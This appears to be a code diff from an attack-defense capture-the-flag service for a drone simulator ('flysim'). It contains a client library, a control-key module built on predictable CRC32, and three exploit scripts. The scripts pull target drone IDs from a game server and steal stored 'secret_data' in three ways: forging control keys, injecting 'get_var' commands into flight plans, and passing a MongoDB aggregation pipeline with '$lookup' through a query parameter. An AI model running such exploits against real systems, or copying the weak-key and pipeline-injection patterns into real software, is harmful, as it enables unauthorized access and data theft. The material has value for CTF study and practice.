self.control_key = None
self.data_received_event = Event()
self.last_received_data = None
self.velocity_updated_event = Event()
self.last_received_veldata = None
self.position_updated_event = Event()
self.last_received_posdata = None
@sio.on("connect")
def on_connect():
print("Connected to server")
@sio.on("disconnect")
def on_disconnect():
print("Disconnected from server")
@sio.on("drone_connected")
def on_drone_connected(data):
print(f"Drone connection status: {data['data']}")
@sio.on("data_updated")
def on_data_updated(data):
if isinstance(data, dict):
self.last_received_data = data
self.data_received_event.set()
@sio.on("velocity_updated")
def on_velocity_updated(data):
if isinstance(data, dict):
self.last_received_veldata = data
self.velocity_updated_event.set()
@sio.on("position_updated")
def on_position_updated(data):
if isinstance(data, dict):
self.last_received_posdata = data
self.position_updated_event.set()
@sio.on("error")
def on_error(data):
print(f"Error: {data['data']}")
def wait_for_data_msg(self, timeout=None):
self.data_received_event.clear()
if self.data_received_event.wait(timeout):
return self.last_received_data
return None
def wait_for_vel_msg(self, timeout=None):
self.velocity_updated_event.clear()
if self.velocity_updated_event.wait(timeout):
return self.last_received_veldata
return None
def wait_for_pos_msg(self, timeout=None):
self.position_updated_event.clear()
if self.position_updated_event.wait(timeout):
return self.last_received_posdata
return None
def create_drone(self, label=None, secret_data=None, flight_plan=None):
response = requests.post(
f"{self.base_url}/create_drone",
timeout=8000,
json={}
| ({"label": label} if label else {})
| ({"secret_data": secret_data} if secret_data else {})
| ({"flight_plan": flight_plan} if flight_plan else {}),
)
if response.status_code == 200:
data = response.json()
self.drone_id = data["id"]
self.control_key = data["control_key"]
print(
f"Created drone with ID: {self.drone_id}, control key: {self.control_key}"
)
return True
else:
print(f"Failed to create drone: {response.text}")
return False
def get_all_drones(self):
response = requests.get(f"{self.base_url}/get_drones")
print("All drones:", response.json())
def get_drones_with_details(self, with_what_details):
response = requests.get(f"{self.base_url}/get_drones?with={with_what_details}")
return response.json()
def connect_to_drone(self):
try:
self.sio.connect(self.base_url, socketio_path="/socket.io")
self.sio.emit(
"join_drone",
{"drone_id": self.drone_id, "control_key": self.control_key},
)
return True
except Exception as e:
print(f"Connection error: {e}")
return False
def update_position(self, position):
self.sio.emit("set_position", {"drone_id": self.drone_id, "position": position})
def update_velocity(self, velocity):
self.sio.emit("set_velocity", {"drone_id": self.drone_id, "velocity": velocity})
def disconnect(self):
try:
self.sio.disconnect()
except Exception as e:
print(f"Disconnection error: {e}")

View File

@@ -0,0 +1,12 @@
#!/bin/sh
# https://github.com/exaloop/codon
rm -rf build
rm -rf *.so
python3 setup.py build_ext --inplace
rm -rf build
mv session_authenticator.cpython*.so session_authenticator.so
echo "Testing"
python3 -c "import session_authenticator; print(session_authenticator.generate('a', 'bc'))"
# you need only session_authenticator.so file

View File

@@ -0,0 +1,21 @@
import time
def generate_control_key(_id: str, label: str) -> str:
msg = _id + label
crc = 0xFFFFFFFF
polynomial = 0xEDB88320
for char in msg:
crc ^= ord(char)
for _ in range(8):
if crc & 1:
crc = (crc >> 1) ^ polynomial
else:
crc >>= 1
return hex(crc ^ 0xFFFFFFFF)[2:]
def generate(_id: str, label: str) -> str:
return generate_control_key(_id, label)
def verify(_id: str, label: str, control_key: str) -> bool:
return generate_control_key(_id, label) == control_key

View File

@@ -0,0 +1,91 @@
# setup.py
import os
import sys
import shutil
from pathlib import Path
from setuptools import setup, Extension
from setuptools.command.build_ext import build_ext
# Find Codon
codon_path = os.environ.get('CODON_DIR')
if not codon_path:
c = shutil.which('codon')
if c:
codon_path = Path(c).parent / '..'
else:
codon_path = Path(codon_path)
for path in [
os.path.expanduser('~') + '/.codon',
os.getcwd() + '/..',
]:
path = Path(path)
if not codon_path and path.exists():
codon_path = path
break
if (
not codon_path
or not (codon_path / 'include' / 'codon').exists()
or not (codon_path / 'lib' / 'codon').exists()
):
print(
'Cannot find Codon.',
'Please either install Codon (https://github.com/exaloop/codon),',
'or set CODON_DIR if Codon is not in PATH.',
file=sys.stderr,
)
sys.exit(1)
codon_path = codon_path.resolve()
print('Found Codon:', str(codon_path))
# Build with Codon
class CodonExtension(Extension):
def __init__(self, name, source):
self.source = source
super().__init__(name, sources=[], language='c')
class BuildCodonExt(build_ext):
def build_extensions(self):
pass
def run(self):
inplace, self.inplace = self.inplace, False
super().run()
for ext in self.extensions:
self.build_codon(ext)
if inplace:
self.copy_extensions_to_source()
def build_codon(self, ext):
extension_path = Path(self.get_ext_fullpath(ext.name))
build_dir = Path(self.build_temp)
os.makedirs(build_dir, exist_ok=True)
os.makedirs(extension_path.parent.absolute(), exist_ok=True)
codon_cmd = str(codon_path / 'bin' / 'codon')
optimization = '-debug' if self.debug else '-release'
self.spawn([codon_cmd, 'build', optimization, '--relocation-model=pic', '-pyext',
'-o', str(extension_path) + ".o", '-module', ext.name, ext.source])
ext.runtime_library_dirs = [str(codon_path / 'lib' / 'codon')]
self.compiler.link_shared_object(
[str(extension_path) + '.o'],
str(extension_path),
libraries=['codonrt'],
library_dirs=ext.runtime_library_dirs,
runtime_library_dirs=ext.runtime_library_dirs,
extra_preargs=['-Wl,-rpath,@loader_path'],
debug=self.debug,
build_temp=self.build_temp,
)
self.distribution.codon_lib = extension_path
setup(
name='session_authenticator',
version='0.1',
packages=['session_authenticator'],
ext_modules=[
CodonExtension('session_authenticator', 'session_authenticator.codon'),
],
cmdclass={'build_ext': BuildCodonExt}
)

View File

@@ -0,0 +1,34 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
import zlib
def droneid_to_drone_obj(client, drone_id):
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
for d in det:
if d["id"] == drone_id:
return d
return None
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
for drone_id in drone_ids[::-1]:
client = drone_client.DroneClient(ip=IP)
drone_obj = droneid_to_drone_obj(client, drone_id)
client.drone_id = drone_id
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
2:
] # generate 'not so random' control_key
client.control_key = cont_key
client.connect_to_drone()
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["secret_data"], flush=True)

View File

@@ -0,0 +1,22 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
client = drone_client.DroneClient(ip=IP)
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
client.connect_to_drone()
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
print(drone_obj_with_secret["flight_log"], flush=True)

View File

@@ -0,0 +1,41 @@
#!/usr/bin/env python3
import requests
import sys
import drone_client
import time
import json
def droneid_to_drone_obj(client, drone_id):
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
for d in det:
if d["id"] == drone_id:
return d
return None
IP = sys.argv[1]
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
IP
]
for drone_id in drone_ids[::-1]:
client = drone_client.DroneClient(ip=IP)
drone_obj = droneid_to_drone_obj(client, drone_id)
det = client.get_drones_with_details(
json.dumps(
[
{"$match": {"label": drone_obj["label"]}},
{
"$lookup": {
"from": "drones",
"as": "result",
"pipeline": [{"$match": {"label": {"$regex": "^.*"}}}],
}
},
]
)
)
print(det, flush=True)
exit(0)